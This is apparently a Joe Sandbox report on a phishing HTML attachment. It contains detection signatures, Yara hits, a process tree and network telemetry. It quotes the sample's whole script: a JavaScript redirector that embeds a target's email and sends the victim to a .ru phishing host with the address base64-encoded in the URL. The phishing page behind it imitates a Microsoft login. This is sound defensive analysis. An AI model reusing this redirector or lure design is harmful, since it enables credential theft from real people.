Edit tour

Windows Analysis Report
VN_MSG-Splcenter.html

Overview

General Information

Sample name:	VN_MSG-Splcenter.html
Analysis ID:	1631327
MD5:	5ee5055a84f1440673068017fc0e1366
SHA1:	40c48343e83413c834d2883dc96787d495a1f8cf
SHA256:	82700d881b0d4da9ad8fc7bd6e939c61ceb8f5e472efadc219d77d653e640313
Infos:

Detection

HTMLPhisher, Invisible JS

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Phisher

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML sample is only containing javascript code

Suspicious Javascript code found in HTML file

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\VN_MSG-Splcenter.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1808,i,11259939313159330260,10342011823358960572,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
VN_MSG-Splcenter.html	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_132	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
1.2.id.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.id.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_132, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 1.2.id.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.id.script.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML

Yara detected Phisher

Source: Yara match

File source: VN_MSG-Splcenter.html, type: SAMPLE

AI detected suspicious Javascript

Source: 1.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob` and `decodeURIComponent` to decode and execute remote content is a clear indicator of malicious intent. Additionally, the script appears to be interacting with an untrusted domain, further increasing the risk. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and potential data exfiltration. The obfuscated code and use of encoded strings further increase the risk. While the specific intent is unclear, the overall behavior is highly suspicious and likely malicious.

Detected javascript redirector / loader

Source: VN_MSG-Splcenter.html

HTTP Parser: Low number of body elements: 0

HTML sample is only containing javascript code

Source: VN_MSG-Splcenter.html

HTTP Parser: <script type="text/JavaScript"> var getEmail123cc775 = "cassie.plunkett@splcenter.org"; setTimeout(`location.href = "https://T8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=";`,0);</script>

Suspicious Javascript code found in HTML file

Source: VN_MSG-Splcenter.html

HTTP Parser: location.href

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: VN_MSG-Splcenter.html

HTTP Parser: Base64 decoded: cassie.plunkett@splcenter.org

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

HTTP Parser: <input type="password" .../> found

Source: https://t8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638768949326945979.MGViZmE4OWItOTMyOC00ZTMxLWJjMTEtNDE4OTE3ZWNjYmYwYWJhNmI4OTUtYjM4Zi00ZTI1LTgxM2YtNzIyZDhhM2ZmNjk1&ui_locales=en-US&mkt=en-US&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=Rt8257lTmFhAL8-m-OCyBp-9HhiZIwQ_uaZ4DX79nrgtbKWNdr3UkmOm8jh5gVJko5153buwx_4McvBz3M1zriICy36Rzk1OqPwRco-6uhbAkOuEWIHF5Oh9FtB4MA3AmvfMMCPccmjUtTfMiyA-EDCUnL2nl1n2PLJxWXYOkVhf-kl6RI94t6rxZP-KKVKBhQi3kUrqU9IQ7aXpMHtZQa0E8yFxX0qlGVKTVVhJz5Yse_26TLBb8V1Aufv4Wo3JNarroRuYMtmtIj0zmX0S0jBksXmzGqujWjrOoTcam6f_bdG_zuBGvRJHPX2HvV82&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: portal.office.com to https://www.microsoft365.com/login?ru=%2f%3ffrom%3dportalhome
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.microsoft365.com to https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3a%2f%2fwww.microsoft365.com%2flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3a%2f%2fwww.office.com%2fv2%2fofficehome.all&response_mode=form_post&nonce=638768949326945979.mgvizme4owitotmyoc00ztmxlwjjmtetnde4ote3zwnjymywywjhnmi4otutyjm4zi00zti1ltgxm2ytnziyzdhhm2zmnjk1&ui_locales=en-us&mkt=en-us&client-request-id=c78ca9f6-666c-4189-a6c8-50defdad580f&state=rt8257ltmfhal8-m-ocybp-9hhiziwq_uaz4dx79nrgtbkwndr3ukmom8jh5gvjko5153buwx_4mcvbz3m1zriicy36rzk1oqpwrco-6uhbakouewihf5oh9ftb4ma3amvfmmcpccmjuttfmiya-edcunl2nl1n2pljxwxyokvhf-kl6ri94t6rxzp-kkvkbhqi3kurqu9iq7axpmhtzqa0e8yfxx0qlgvktvvhjz5yse_26tlbb8v1aufv4wo3jnarroruymtmtij0zmx0s0jbksxmzgqujwjrootcam6f_bdg_zubgvrjhpx2hvv82&x-client-sku=id_net8_0&x-client-ver=7.5.1.0

Source: Joe Sandbox View	IP Address: 13.107.6.156 13.107.6.156
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
